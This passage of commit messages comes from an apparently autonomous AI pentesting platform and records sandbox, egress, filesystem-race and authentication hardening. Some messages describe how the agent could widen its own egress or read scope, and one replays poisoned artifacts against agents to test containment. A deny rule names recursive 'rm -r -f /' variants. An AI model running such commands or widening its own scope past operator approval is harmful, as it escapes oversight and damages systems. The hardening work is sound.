"a..example.com" and "example.com.." as "example.com..". Check the canonical
form as well.
ValidInterceptDomain now rejects "*", "/" and ":" too: exact_domain accepted
"https://example.com" and "*.example.com", which were stored and never matched.
Replace the tautological IDN test, which compared hostProfile with itself, with
a NormalizeTarget versus db.CanonicalInterceptDomain comparison, and cover task
rule create and update in the PostgreSQL API test.
Docker keeps json-file logs without a size limit, so a chatty task can fill
the disk; on Docker Desktop a full VM disk turns the whole VM read-only.
Cap postgres, artex and artex-runner at 3 x 10 MB through a shared
x-logging anchor.
the timeout by exit code 124. artex-exec-wrap returns 124 when it enforces
timeout_ms, but the command can also exit 124 itself: coreutils
`timeout 1 sleep 5` does. The runner then removed the worker and stopped
the task's background jobs after an ordinary inner timeout.
Count an exit 124 as the runner's timeout only when the exec ran for at
least timeout_ms, which is the only way the wrapper can return it.
exact_domain and domain_suffix patterns are now checked before they are
stored: whitespace or control characters, empty labels (including more
than one trailing dot), a single label, an IP literal or all-digit last
label, and a non-ASCII or xn-- label the IDNA profile refuses are answered
400 on the global and task rule APIs. fuzzy_domain refuses whitespace,
control characters and a doubled dot. Valid domains keep the canonical
form they had, and CanonicalInterceptDomain stays lenient for matching.
intercept/target.go now uses idna.Lookup, the profile the rules use. The
previous profile had the same options in x/net v0.62.0; its comment said
it accepted underscore labels, which it did not.
The worker image does not ship make(1), so the case failed on the fixture
rather than on containment. A repo-delivered build script exercises the same
path and works in the real sandbox image.
Replay the artifact shapes used against autonomous pentest agents in the
ArtexPot research (cloned repository, archive, pickle, .pth, package setup,
vendored SDK) as harmless markers, then assert that executing each one still
cannot reach the panel's keys, config, database or LLM secrets, cloud
metadata, another task's workspace, or a writable path outside /workspace.
Each case first proves the payload ran, so containment is tested rather than
assumed. Opt-in via ARTEX_SANDBOX_DOCKER_TEST=1, like the existing Docker
end-to-end suite, so normal CI skips it.
Review of the first commit found defects in the new control and copy that
overstated what the gate does. Fixes, all frontend plus docs:
- The gate read and the rules read no longer share one Promise.all: a
failing /intercept-rules call used to leave the switch disabled forever
with no retry. They load independently, a failed gate read offers Retry,
and the error renders next to the switch instead of inside the add-rule
row.
- A task row without target_gate now reads as unknown (switch disabled)
instead of a confident "off"; state resets when the task id changes, so
the switch cannot show or write another task's gate.
- The amber warning counts only enabled block rules: allow-only and
switched-off rules are unaffected by the gate.
- Rule mutations reload the rules only, so a concurrent toggle is no longer
overwritten by a stale snapshot.
- The switch is disabled on a finished task, where no call is left to gate.
- Copy: the gate checks the targets a call declares, not "every outbound
network target"; an unpinned target waits the 300 s bound and is then
refused; allow rules do not apply to the gate; sandbox mode gates the
call, not the worker's sockets, and turns on the panel-hosted browser.
The create sheet warns when "Off" is chosen with block rules present, and
the advanced-settings summary now lists the gate and coverage.
- updateTask keeps its original signature (no call sites, and the wider
shape type-erased plan_quiet_mode); the dead variant is gone.
- README: the gate is no longer "off by default, API-only"; the changelog
entry is scoped to tasks and records the known limits.
The runner always dials /var/run/docker.sock, and all three Compose files
mount that exact host path. Rootless Podman exposes its API under
XDG_RUNTIME_DIR, so the install builds four images and then leaves an
unhealthy runner.
Mount ${ARTEX_DOCKER_SOCK:-/var/run/docker.sock} at the fixed in-container
path instead, and resolve the host side in install.sh/update.sh: an explicit
Unix DOCKER_HOST wins, otherwise a Podman engine is asked for its socket.
The resolver refuses non-Unix DOCKER_HOST values, symlinks, missing sockets,
sockets the invoking user cannot use, and world-writable sockets.
Only the host side is configurable. The in-container path stays fixed so
every deployment dials one known socket and no runtime input can point the
runner elsewhere, and artex-runner remains the only service that mounts it.
Refs #742
The target gate was API-only: POST /api/tasks and PATCH /api/tasks/{id}
accepted target_gate, but the panel never sent, read or displayed it. A
task-level block rule added to a task whose gate was off therefore never
reached a network target, because intercept.CheckTargets returns before
any rule is matched while the gate is disabled.
- create-task sheet: a "Network target gate" selector (auto / on / off).
Auto sends nothing, so the backend default stays in force: on for scoped
tasks (linked company or task-level rules), off otherwise.
- task overview rule card: a switch that shows the stored state, warns
explicitly while block rules exist with the gate off, and PATCHes
/api/tasks/{id} so the next tool call sees the new value.
- lib/api: createTask(targetGate), updateTask({targetGate}) and
setTaskTargetGate(); lib/types: Task.target_gate.
- mock handler mirrors the backend default on create and PATCH.
- i18n: zh-CN, tr, pt-BR and vi entries for the new strings.
verifyJWT and jwtSubject accepted any HMAC algorithm, so a token signed
with HS384 or HS512 and the session key was valid. Both now parse through
parseSessionJWT, which accepts only HS256.
New tokens carry iss "artex" and aud "artex-api". When a token has either
claim, it must match. Tokens issued by earlier releases have neither claim
and are still accepted, so nobody is signed out by the upgrade.
EgressPolicy.CheckURL, the check WebFetch, the shared browser and the
custom http tool run on a URL under ARTEX_SANDBOX=required, was fail-open
in two ways:
- a lookup error (or an empty answer) for a name in scope returned nil,
so the URL was allowed;
- a name answering several addresses was allowed as soon as one of them
was public, the others being private, loopback, IPv6 or the cloud
metadata address (169.254.169.254).
CheckURL pins nothing. On a direct call the sandbox dialer resolves again
and pins an allowed address, but through an explicit proxy the panel only
dials the proxy, which resolves the target itself and may pick any answer
(or reach a name the panel could not resolve); the shared browser
resolves on its own as well. For those paths CheckURL is the only check
on the target.
CheckURL now denies a lookup error or an empty answer, and requires every
answer to be allowed (in the scope CIDRs, or outside the default deny
list): a dual-A [IMDS, public] answer is refused, in either order. The
dialer path (ResolveAndCheck, also used by the egress proxy) is
unchanged: it already fails closed on a lookup error and dials only the
allowed address it pinned.
sandboxHTTPTransport now turns keep-alive off on every transport it
returns, not only on the one it builds when httpToolTransport returned
nil: an operator proxy, or the recording proxy setting without a CA file,
kept idle connections to the proxy.
Two existing tests expected an in-scope name that does not resolve to be
allowed, which only the fail-open lookup gave them: the scope drift test
(its resolver reached the proxy policy only, not the policy WebFetch and
the browser build) and the shared browser navigation test. Both now pass
an offline resolver through the context (sandbox.WithResolver); their
assertions are unchanged.
The panel tools (WebFetch, the shared browser, the custom http tool) build
their EgressPolicy themselves, so a test could not hand them a resolver.
WithResolver carries one on the context; a policy without its own Resolver
uses it. Nothing in production sets it, and behaviour is unchanged.
The deadline coordinator kept counting while a task was user-paused and
settled it at the original deadline (final planner round, then timeout),
also at startup for a task restored paused. After a resume the engine
still used the deadline cached before the pause, so the paused interval
credited onto deadline_at was ignored.
The coordinator now waits while the task is user-paused and re-reads the
deadline afterwards, and admission refreshes the cached deadline when it
ends a pause.
Refs #1
taskSandboxRunInfo promoted task allow rules of kind "ip" to the egress
CIDRs, but the rule tables only store "exact_ip" (the CHECK constraint
and the save validator refuse "ip"), so an exact_ip allow rule granted
no egress. A task scoped to one private address could not reach it from
the sandbox, directly or through a name resolving only to it.
NewEgressPolicy already reads a bare address as a host prefix, so the
pattern is passed as is.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
OpenAI shuts gpt-5 down on 2026-12-11 and lists gpt-6.2-sol as its
replacement. Use it as the openai-responses default in FromEnv and
ConfigFrom; an explicitly set model is kept.
Fixes#787
Both paths were export-ignored and never part of the release archives, and the Docker image copies skills/ but not scripts/poc/, so the skill shipped without its PoCs and could not work there. The three PoC files are exploit code and triggered Windows Defender plus repeated "repository is a trojan" reports on every checkout. The analysis stays in the git history and the upstream PoC remains available at ikow/php2shell-poc.
A custom tool with Kind "http" bound to the worker ran its request from
the panel process with no sandbox check: under ARTEX_SANDBOX=required a
worker could reach a URL outside the task scope (a loopback service, an
internal address, another host) and follow a redirect anywhere, because
runHTTPTool and httpToolTransport never looked at SandboxRequired or at
the task's egress policy.
Decision: option 1, enforce the policy in the panel, as WebFetch does.
WebFetch already has a usable path for the same situation (a request made
by the panel, outside the worker container): the task's policy from
SandboxRunInfo (sandbox.NewEgressPolicy), CheckURL on the input, and
sandboxScopeDialContext on every connection, which resolves once, checks
every address against the scope and the default deny list, and dials the
pinned IP. Routing the tool through the per-task egress proxy is not
needed for that, and WebFetch does not do it either.
Under ARTEX_SANDBOX=required the http tool now:
- checks the rendered URL with the task policy before any approval or
request (scheme, scope domain or CIDR, names resolving only to private,
loopback, metadata or IPv6 addresses);
- checks every redirect hop with the same policy; a hop outside the scope
fails the call instead of being followed;
- dials through the WebFetch sandbox dialer: the target for a direct call
(environment proxy dropped, pinned dialer of a gated scope kept
underneath), the proxy for a call with a proxy, so a proxy outside the
scope is not dialed.
The policy resolution moves to agent.SandboxEgressPolicy, used by WebFetch
and the http tool, and the dialer is exported as
agent.SandboxScopeDialContext with a label; WebFetch keeps its messages.
Sandbox off: nothing changes, the new code is skipped. The planner still
does not receive a Kind "http" tool bound to the worker.
TestMainSideConcurrencyAndIndependentCancellation panics intermittently with
"range function continued iteration after function for loop body returned
false". The fake iterator ignored yield's result: when the side context is
cancelled before the first event is handled, Answer stops ranging, and the
iterator then called yield again after ctx.Done(). Return when yield returns
false. Test-only change.
fuzzy_domain is a substring match, so an allow rule meant to cover a
site and its subdomains (".example.com") also admits names that merely
contain it, such as "a.example.com.other.net", whose owner chooses where
it resolves. There was no kind for "this domain and its subdomains" on a
label boundary.
domain_suffix matches the domain itself and any name ending in
"." + domain; "*.example.com" and ".example.com" are stored as
"example.com". This is the semantics the sandbox egress policy already
applies to scope domains, and taskSandboxRunInfo already read a
domain_suffix allow rule. fuzzy_domain is unchanged, so existing rules
keep their meaning.
Migration 0026 widens the kind CHECK constraint of asset_intercept_rules
and task_intercept_rules; schema.sql carries the same list for new
databases.
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
ListTaskScopeWithSources, used by GET /api/tasks/{id}/scope, did not
select approved_by_operator or expanded, so every row was reported as
not approved and not expanded. Select both columns, as ListTaskScope
already does, and add a test that covers the task's own rows and a
source task's rows.
An operator company approval froze the company's whole inventory into
task_scope_egress: every company_scope domain and IP/CIDR row plus the
root_domain, domain and ip of every asset attributed to the company. The
agent writes both (insert_assets, add_company_scope), so the next operator
selection or re-approval promoted worker-chosen hosts into the sandbox
egress allowlist for the life of the task.
The snapshot now reads only company_scope domain and IP/CIDR rules with
approved_by_operator = TRUE; the asset branches are gone. Migration 0025
adds the column and backfills existing rows as approved. The flag is an
explicit parameter of insertScopeRulesTx and the CompanyStore scope
writers: the operator company API passes true, add_company_scope and the
ScopeSentry sync pass false. An operator write of a rule the agent stored
first approves the existing row.
AddOperatorScope outside a transaction now commits the task_scope row and
the egress snapshot together.
Existing task_scope_egress rows are not purged.
TestPrepareExecPrivilegeOwnsKeysAndConfigAsRoot created its key dir 0755 and ran
the self-test right after PrepareExecPrivilege. The self-test reports a key dir the
executor can list, and cmd/artex calls LockDownKeyDir between the two, so the test
failed as real root (on main as well) while startup passes. It now calls
LockDownKeyDir first, which also runs the descriptor-based lockdown as root.
go-mitmproxy (cert.NewSelfSignCA) found no key, generated one for 200 to 350 ms, then wrote the three CA files with os.Create by path: a symlink, hard link or directory planted in _ca meanwhile made it create or overwrite files outside the data directory, a window inside NewProxy that no check before the call can see.
traffic.Open now creates the CA itself (loadCA, same certificate template and file format as go-mitmproxy) under the verified _ca root, each file with O_CREATE|O_EXCL|O_NOFOLLOW at its final name (key 0600, certificates 0644), never overwriting an existing file and using an existing CA as it is. go-mitmproxy gets the loaded CA through Options.NewCaFunc and no longer receives CaRootPath, so it never opens _ca: not even its own fallback, which creates the CA by path again whenever its load finds no key.
TestOpenCalibratedCARace plants, 150 to 400 ms into the first Open of an empty traffic directory, a symlink mitmproxy-ca.pem to an outside file or to a missing outside path, a symlinked _ca to an empty outside directory, or a hard link to an outside file, 96 runs, and asserts nothing outside the traffic directory is created or changed. On 5138f35 go-mitmproxy creates or overwrites files outside while it generates the CA inside NewProxy.
TestLockDownKeyDirKeyLinkRace and TestLockDownKeyDirSymlinkSwapRace race LockDownKeyDir against a symlink or hard link swapped onto jwt.key and secret.key, and against keyDir swapped for a symlink, and assert the outside files keep their mode and content.
LockDownKeyDir ran os.Chmod(keyDir), which follows a symlink on keyDir,
then Lstat and Chmod by path on jwt.key and secret.key, open to a swap
between the two and to a hard link to a file elsewhere.
keyDir is now opened under an os.Root at its parent and must be a
directory, not a symlink, the one opened being the one checked
(traffic.OpenRealDir); its mode is set through that descriptor. Each key
goes through traffic.RestrictFile: Lstat, O_NOFOLLOW open under the root,
regular with a single link after fstat and again by name with
os.SameFile, and never chmodded in place (a copy at 0600 replaces it).
Behaviour change: a keyDir that is a symlink, or that is not a directory,
now fails the start (fail-closed), as does a hard-linked key file.
traffic.Open called mproxy.NewProxy before restricting the key. With
_ca a symlink to an empty directory, or the key a dangling symlink,
go-mitmproxy created mitmproxy-ca.pem (0644) and its certificates with
os.Create outside the data directory before the refusal came. And
os.OpenRoot(dir) followed a symlink on dir itself, so Open on a
symlinked traffic directory chmodded the key outside.
Open now checks, before it creates anything and again just before
NewProxy, that dir and dir/_ca are each absent or a directory that is
not a symlink, and that the key and both certificate files are each
absent or a regular file with a single link. The check only looks
(Lstat, os.Root opens with os.SameFile), it creates nothing. The key
restriction opens dir the same way: refused if dir is a symlink or not
a directory.
RestrictCAKey only checked the link count on the descriptor after the
open. A hard link to a file outside the data directory, opened and then
unlinked before the descriptor's Stat, showed one link and the same
inode, so the chmod landed on the outside file (unlink-after-open race).
The key must now be a regular file with a single link at the first
Lstat, on the descriptor, and again by name just before any change,
with os.SameFile between each. Those checks alone still lose the race:
an unlink in progress drops the link count before the name goes away,
so all three can see one link and the same inode while the descriptor
is on the outside file (reproduced within ~1500 iterations). So the key
is never chmodded in place any more: a key not at 0600 yet is replaced
by a copy this process creates with O_EXCL at 0600 (owner preserved),
renamed over its name. No existing file's mode changes, whatever the
descriptor turned out to be. A key already at 0600 is left untouched.
The new long test cycles the key name through an own file, a hard link
to a host file and nothing while LockDownCAKey runs, and checks that the
host file keeps its mode (20000 iterations, 2 minute budget).
LockDownCAKey (server/isolation_unix.go) and traffic.Open (traffic/traffic.go)
tightened the MITM CA key with a path-based os.Chmod, as root:
- os.Lstat only looked at the last component, so a symlinked traffic/ or
traffic/_ca/ was followed and the chmod changed a host file outside the data
directory;
- a hard link to a file elsewhere, a directory or a FIFO with the key's name was
accepted, and the chmod changed that inode;
- the Lstat and the chmod were two lookups of the same path (TOCTOU);
- traffic.Open did not even Lstat: os.Chmod followed a symlinked key.
traffic.RestrictCAKey now does the work under an os.Root: each directory on the
way must be a real directory (Lstat) and the root opened on it must be the same
inode (os.SameFile); the key is Lstat'ed, opened with
O_NOFOLLOW|O_NONBLOCK|O_NOCTTY, and the descriptor must be that same inode, a
regular file with one link; the mode is then changed with f.Chmod. os.Root
resolves a symlink itself while it stays under the root (a caller's O_NOFOLLOW
does not stop it), which is why the SameFile checks are there; a symlink that
leaves the root is refused by os.Root. LockDownCAKey opens the root at the data
directory, so traffic/ and traffic/_ca/ are both checked; traffic.Open opens it
at its traffic directory. A missing data directory, traffic tree or key is still
not an error for LockDownCAKey, and a key already at 0600 is still accepted.
Off unix traffic.Open keeps its plain chmod: there are no mode bits or executor
identity to protect the key from there, and LockDownCAKey is a no-op.
Covers server.LockDownCAKey and traffic.Open: a symlinked traffic/ or traffic/_ca/, a symlinked or hard-linked key pointing at a file outside the data directory, a directory or FIFO in place of the key, a missing key, a 0644 key, a non-default data directory and a data directory left by an older version (#664). On this commit the symlinked-parent, hard-link, directory and FIFO cases fail: the chmod reaches the file outside.
A SIGTERM or SIGINT that arrived while start.sh slept before a restart was
handled only after the sleep returned. The loop then launched artex again
and waited on it without checking `stopping`, so docker stop waited out
its grace period and SIGKILLed a freshly started server.
Sleep in the background and wait on it, so the trap interrupts the backoff
and forward() kills the sleep, and check for a pending stop before each
launch. scripts/test-start-sh.sh drives start.sh with a fake artex and runs
in the CI shell job.
The v0.7.1 release failed in its darwin binaries job: killswitch_unix.go is
built for every unix target but calls syscall.SYS_PRCTL, which only exists on
Linux. The Linux CI never compiled another GOOS, so the tag passed CI and broke
the release build after the push.
Move the prctl call to killswitch_prctl_linux.go, keep a no-op for the other
unix targets, and add a cross-compile step to the go job so darwin and windows
break in CI instead of in the release.
Rootless Podman answers the Docker CLI through its compat socket, so the
prerequisite check passed and a fresh install built all four images before the
runner failed with 'dial unix /var/run/docker.sock: connect: permission denied'.
The sandbox runner mounts that socket inside its container, while Podman exposes
its own under XDG_RUNTIME_DIR.
install.sh and update.sh now verify that the engine is reachable, refuse Podman
with an explanation and the tracking issue, and stop when DOCKER_HOST points at
a socket that is not available at the mounted path. INSTALL.md states the
requirement; full Podman support stays out of 0.7.1.
Deleting an operator-approved company scope row left its task_scope_egress
entries behind, so the task's egress proxy stayed open after the operator
revoked the company. DeleteTaskScope now reads the deleted row and drops the
matching snapshot entries in the same transaction; the regression test asserts
that the sandbox scope is empty after revocation.
Model clients built from a config without an explicit redirect policy followed
any redirect, so a 30x could replay the request body and credential headers
(API key, Anthropic credential header) at another host. They now refuse a hop
that changes scheme or host and keep same-origin redirects.
Supply-chain hardening from the same report: docker-compose.ghcr.yml defaults
to the released 0.7.1 images instead of latest, the Playwright skill installs
the pinned 0.1.22 CLI instead of @latest, and the API-recon skill uses npm ci
with its lockfile instead of a floating npm install.
An operator-approved company grant (task_scope.kind='company') was expanded at
run time from live company_scope rows and company-attributed assets. The planner
can write both with add_company_scope, so one approval followed by a scope write
widened the task's sandbox egress without a new operator decision, including to
internal addresses.
The concrete domains and CIDRs are now materialized into task_scope_egress when
the operator approves the company (task creation with CompanyIDs, or
AddOperatorScope), and taskSandboxRunInfo reads only that snapshot. Migration
0024 backfills already-approved grants with their current inventory, so upgraded
tasks keep their reach but gain no future widening. Re-approving the company
refreshes the snapshot, which makes inventory changes an explicit operator
decision again.
DNS enrichment sent every target hostname to dnsx.DefaultResolvers (Cloudflare,
Google, Quad9, OpenDNS) regardless of the configured HTTP/recording proxy, so a
deployment that routes target traffic through a proxy still leaked target names
and timing to those resolvers.
ARTEX_DNS_RESOLVERS now selects the resolvers: unset uses the deployment's own
/etc/resolv.conf, off disables DNS enrichment, and a comma-separated list of IP,
IP:port or host:port entries restricts it to those resolvers. Without a usable
resolver enrichment stays disabled instead of falling back to a public one.
README and .env.example document DNS as a separate egress boundary.
removeContainer and removeNetwork discarded Docker transport failures and
non-2xx statuses, so Kill could clear the worker ID and return nil while the
worker kept running, and Delete removed the task from the in-memory map before
killing, ignored the resulting not-found, and cleaned up unchecked.
removeContainer/removeNetwork now return errors (404 counts as proven absent),
Kill clears the worker ID only after the container is proven stopped or absent,
and Delete kills from the captured task state, keeps the entry until every
resource is proven gone, and returns a retryable error otherwise. Cleanup runs
on a fresh bounded context instead of inheriting a cancelled request, and a
per-task mutex serializes concurrent Kill/Delete.
The test seeded a pending op and then called apply directly while the
production loop started by newHealthSync could take that op in between,
turning a dropped stale write into a real write. Build the syncer without
starting the loop: the test covers superseded/apply, not the loop.
os.Root follows symlinks that remain inside the root, so a parent swapped
after wsResolveConfined for a link to a denied subtree (traffic/_ca,
traffic/_index, traffic/_blobs, archives) was still followed by
root.Open/root.RemoveAll, bypassing workspacePathDenied. Apply the same
real-directory verification the write path uses:
- wsList rejects a final symlink or non-directory, then checks every
component of rel with verifyRootRealDir before opening.
- wsRead and wsDownload check the parent components and reject a
final-component symlink before opening.
- wsDelete checks only the parent components, so a final symlink is
still unlinked rather than dereferenced, and refuses rel == ".".
wsRead no longer stat's then reads by name. It opens once, stats the
same descriptor, rejects non-regular entries, and reads through
io.LimitReader(maxWorkspaceRead+1), so a swapped-in file cannot bypass
the inline-size limit. Opening a FIFO blocks until a writer appears, so
both wsRead and wsDownload reject any non-regular entry before opening;
a unix-only test plants a FIFO and asserts a fast error instead of a
hang.
Also add a deterministic case-sensitive tie-breaker to the wsList sort
for names that differ only in case.
Tests swap a real parent directory for a root-relative symlink to
traffic/_ca and archives after wsResolveConfined; list, read, download
and delete served/deleted the denied subtree before this change and are
refused after it.
The test asserted that the sealed JSON does not contain "tok". The value is
base64 of random bytes, so any short lowercase substring can appear in it by
chance: the go-stable run on 9a474f9f failed because the ciphertext happened
to contain "tok" (enc:v1:atokZ...). Check the canonical plaintext instead,
which the base64 alphabet cannot reproduce. The same commit passed the go job,
which is the signature of a random flake.
Verified with go test -count=50 ./db -run TestSecretBoxCrypto.
applyMoves and rollbackFiles validated the staging journal and then ran
os.MkdirAll/os.Rename on host paths. Both the journal Source and the
payload Relative resolve under the data directory, so a component
swapped for a symlink after validation could move data into or out of
the data directory through the staging rename.
Open one os.OpenRoot(dataDir) per call and run root.Lstat, root.MkdirAll
and root.Rename with names relative to the data directory, rejecting any
name that is not strictly beneath it. validateArchiveStageJournal stays
unchanged. The restore path is intentionally untouched: its sources live
under the per-archive extracted root, which a single Root anchored at
dataDir cannot span.
Tests make dataDir/tasks, and separately the payload files directory,
symlinks that escape the data dir; both applyMoves directions and the
rollback escape are refused after the change, while a normal stage and
rollback still apply.
The 0.7.1 batch moved the workspace write paths (wsWrite, wsMkdir,
wsUpload) and chat uploads to os.OpenRoot, but wsRead, wsList, wsDownload
and wsDelete still resolved a confined host path and then used it. A path
component swapped for a symlink after wsResolveConfined validated it let
the handler read, list, serve or recursively delete data outside the
data directory.
Run each handler's I/O through os.OpenRoot(s.m.dir) with names relative
to the canonical root, keeping wsResolveConfined, the denied-prefix
checks and the response shapes. Reads use root.Stat/root.ReadFile, lists
use root.Open + File.ReadDir, delete uses root.RemoveAll on the entry
path (so a final symlink is removed rather than its target, and the root
itself stays refused), and downloads stream root.Open through
http.ServeContent instead of http.ServeFile on a host path.
Tests plant a symlink outside the data dir and race the same swap through
wsBeforeIOHook; the swap cases leak/delete outside data before the port
and are refused after it.
A Windows checkout (core.autocrlf=true) materializes .env.example as CRLF,
so every value carries a trailing CR. ensure_runner_token matched the empty
ARTEX_RUNNER_TOKEN line through '.', left it empty, and compose failed the
required-variable interpolation before the build. Both install.sh and
update.sh now convert .env to LF first and require a non-whitespace value
before treating the token as set.
Found by the isolated fresh-install test: the copied .env reproduced the
failure before the fix and installs cleanly after it.
Adds one entry per advisory fixed by this batch, moves the 0.7.1 date to
2026-12-01, credits the reporters, and documents that the model list and the
connection test reach only public addresses unless the exact host:port is in
ARTEX_LLM_PRIVATE_ENDPOINTS.
Eliminate the TOCTOU check-then-use window between wsResolveConfined and
filesystem writes in wsWrite, wsMkdir and wsUpload (GHSA-3p3q).
After wsResolveConfined canonicalizes the path within s.m.dir, open the
workspace root via os.OpenRoot(cp.realRoot) and perform all directory
creation, symlink verification and file writes using root-relative paths
and root.OpenFile instead of host-path os.MkdirAll, os.WriteFile and
saveUpload. Walking components with root.Lstat also blocks post-resolution
symlink swaps targeting denied platform subtrees such as traffic/_ca or
archives.
Fixes GHSA-fqvh: stageTaskArchiveFiles, applyMoves, rollbackFiles, and
recoverTaskArchiveStages trusted paths unmarshalled from
.staging/<id>/journal.json, and workspaceDeniedPrefixes only blocked
traffic/_* so the workspace API could write to archives/.
Validate staging and restore journals before any MkdirAll or Rename
(matching ArchiveID/TaskID, clean relative paths under files/ with no
absolutes or "..", and exact server-derived Source paths under dataDir)
and add "archives" to workspaceDeniedPrefixes.
Fixes GHSA-r7q2 and GHSA-7h5v: chatUpload previously joined base/uploads
and ran os.MkdirAll + saveUpload outside an os.Root handle, allowing an
exec process that owns the workspace to replace uploads/ with a symlink
and make the root panel process write files outside s.m.dir.
Anchor every chat upload under os.OpenRoot(s.m.dir), verify each directory
component via root.Mkdir + root.Lstat (rejecting symlinks), choose free
names via root.Lstat, and write via root.OpenFile(..., O_WRONLY|O_CREATE|
O_EXCL, 0644).
GHSA-q37j: with capture enabled, go-mitmproxy dials one upstream per client
connection and reuses it for later plain-HTTP requests, so a request for host
B, with B's Cookie and Authorization headers, was delivered to host A. The
sink now sets UseSeparateClient when the request names another host:port than
the connection's upstream, so each host gets its own connection. Intercepted
TLS tunnels are unchanged.
GHSA-663x: ValidateExemptionHost and IsNonPublicAddr accepted 0.0.0.0/8 as
public, so 0.0.0.1 could be exempted from the target gate or used as a model
endpoint. The range is rejected now, and the model reserved-prefix test covers
it.
GHSA-589f: FingerprintTarget checked the target before the request but built
its client on http.DefaultTransport, so the environment proxy and a fresh DNS
resolution could reach loopback, private or instance-metadata addresses after
the check. The client now uses its own transport, never the *_PROXY
environment, and dials through the gate's pinned dialer, which resolves again
and refuses an address the pin does not cover. The probe requests reuse the
same transport.
GHSA-39w9: POST /api/llm/test accepted any base_url and proxy, made a real
request with them, returned the reply and the provider error text, and
followed redirects without an address check, while POST /api/llm/models was
already guarded. The test now validates the base URL and the proxy through the
same guard, dials and revalidates every redirect through it, and never reads
the *_PROXY environment. Only public addresses are accepted. The code-owned
default Ollama endpoint keeps working; an exact host:port in
ARTEX_LLM_PRIVATE_ENDPOINTS is the documented way to test a local model
server. The test button refuses SOCKS5 proxies because the guard cannot see
the destination behind them.
Block rules compared raw strings: exact_ip was a literal compare, exact
domain was case-folded only, and fuzzy_ip was case-sensitive. Targets are
canonical, so a rule written as 0:0:0:0:0:0:0:1, with a trailing dot or in
upper case never matched and the block silently failed open
(GHSA-3vq4 / GHSA-v6j2).
Canonicalize both sides in matchOne (netip Unmap/zone-strip for IPs;
lower-case, one trailing dot removed, IDNA for domains; lower-case
fuzzy_ip) and canonicalize or reject the same variants at save time.
runScriptTool only ran the stateful check: unlike the command tool it never
called GateRenderedCommand, and the hook reads the call's parameters, not the
script's stored code. A gated task could therefore run a script that reaches
any destination. Run the same destination gate on the script text before the
interpreter starts and refuse when its targets are not approved.
install.sh wrote config.json, which carries the database password, under the
ambient umask and never chmodded it. Write it 0600.
PrepareExecPrivilege returned before its 0600 tightening whenever the executor
drop was disabled, so a non-root local start never restricted the file either.
Tighten it on every start and only force root ownership when the drop is
enabled (which implies a root server).
The recursive-force-delete rules required the recursive and the force flag
in one token, so rm -r -f /, rm -R -f / and rm -f -r / passed while the
combined rm -rf / was denied. The v1 and v2 seed patterns now read the short
flags combined or separate, and a v4 seed rewrites the rows an upgraded
install already has (leaving operator-edited patterns alone).
Agent/auto scope rows are coverage-only (approved_by_operator=false):
sandbox egress already filtered them, but the scoped asset reads
(scopeTargetCTE behind QueryDSLInScope/GetByIDsInScope), the task's
company list, and the lesson read scope still honoured them, so an agent
could widen what it reads by calling add_task_scope (GHSA-53wc).
Require approved_by_operator=true on those read paths. The coverage
ledger keeps counting every scope row unchanged: only authorization
reads are filtered, not the coverage denominator.
The panel's test endpoint dispatched the rendered command, script or URL
without evaluating the intercept rules or writing the audit, so a call a
worker would be blocked from running could be run from the panel. Evaluate
the built-in deny rules and the rule set on the rendered text before the
dispatch, refuse on deny/ask, and record the decision as the agent path
does. The admin-only route and its sandbox behaviour are unchanged.
The hook sees ExecuteExtraTool for every deferred custom tool and every MCP
tool, so a deny/ask rule keyed on the real tool name never matched. Unwrap
the wrapper input (the same unwrap the target gate already uses) and
evaluate IsToolEnabled, MatchPersistence and Match on the inner name and
input, keeping the stricter of the wrapper and inner decisions.
The node-id write path (GHSA-ph8r) resolved the finding and wrote its
report/verification with no task check, so any agent holding the tool
could overwrite another task's finding. Refuse unless the caller's task
owns the finding; inherited findings stay read-only and an unknown caller
fails closed. Triggered chat runs carry their source task(s) as a
server-owned context value (RunInfo is empty for ChatAgent turns), never
from tool arguments.
Review of #714 found three issues before it could ship in 0.7.1.
The Main Agent chat path used reviveTaskFromAgent, which refuses a timed-out
task by logging only, so an operator could no longer resume from the chat and
got no explanation. The chat is an explicit operator turn: it uses reviveTask
like the console again, and the admission guards still refuse a settling or
budget-exhausted task. Automatic agent revival through delegateToTask keeps
the stricter guard.
TestBudgetStopReservesPlannerRoundCost pre-marked the wrap-up before calling
budgetStop, so it passed because wrap-up was already set, not because the
planner+worker reservation worked. It now calls budgetStop from Plan alone,
with a bounded context that only shortens the settle wait.
README documents the planner+worker reservation, the skipped final judgment
past the hard ceiling, and which revivals are refused.
Verified: gofmt on the committed blobs, go build ./..., go vet ./...,
and the full ./agent ./server suites on disposable PostgreSQL 16, including
TestHardExhaustedBudgetSkipsFinalPlannerRound.
#721 merged without an entry. The 0.7.1 Fixed section now states what
changed: a 403/429/503 that serves a Vercel, Cloudflare or AWS WAF
challenge is no longer treated as a rate limit, and the agent is pointed
at browser tooling instead of retrying a response raw HTTP cannot pass.
The Fetch host parser runs the IPv4 parser whenever the last label of a
host is a number, and a browser serializes the result as a dotted quad.
Legacy spellings such as 0x7f.1, 1.2.3.4.5, 2130706433 or a label with a
leading zero are therefore normalized before they can appear in an Origin
header. ValidateBrowserOrigin accepted them as ordinary domain labels, so
a CORS proof could still be marked verified with an origin no browser
sends.
A numeric host must now parse as a canonical IPv4 address whose String()
equals the host. Domains, canonical dotted quads and localhost are
unchanged.
The five new rejection cases fail against the previous implementation.
Five entries in the 0.7.1 Fixed section described the same change twice:
browser capture truncation, the #542 indexing move, the (host, ts) traffic
index, the traffic host delete directory guard, and the skill endpoint
error text. Each keeps the version that matches the code and the facts the
other copy added are folded in.
The CORS proof validation from #720 gets its entry: a CORS finding now
stays unverified unless the bound exchange carries a browser-serialized
Origin and an Access-Control-Allow-Origin that authorizes it.
The 0.7.1 release notes now list the security, interception, workspace, traffic and data changes from the v0.6.0 window that were not already detailed in the 0.7.0 or 0.7.1 sections, with their pull request numbers.
In ARTEX_SANDBOX=required the panel must not start agent-controlled local processes. discoverAndCacheMCP now refuses stdio before connectMCP, which covers startup auto-discovery, the operator add/refresh paths and ScopeSentry; the Auto agent's create_mcp and update_mcp reject stdio transports as well. HTTP and SSE MCP clients keep their existing checks. The canary test proves the command is not spawned.
Dockerfile.worker already creates exec (10001:10001) with HOME=/home/exec; #708's artex-exec rename was unnecessary and would have changed the worker identity name. The panel image keeps the artex-exec entry it needed; the worker is unchanged. The changelog now says so.
Rebase #700 onto P0's isolation changes in server/isolation_unix.go (preserving
LockDownKeyDir, keys/ dir checking, and fail-closed EnforceIsolation): probe
